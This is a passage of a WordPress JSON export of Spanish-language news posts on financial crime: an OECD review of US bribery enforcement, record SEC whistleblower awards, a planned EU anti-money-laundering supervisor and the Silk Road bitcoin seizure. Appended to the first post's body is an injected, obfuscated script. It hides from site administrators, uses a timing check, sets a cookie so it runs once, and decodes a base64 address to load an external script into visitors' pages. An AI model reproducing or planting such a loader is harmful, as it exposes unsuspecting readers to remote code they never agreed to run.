resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain 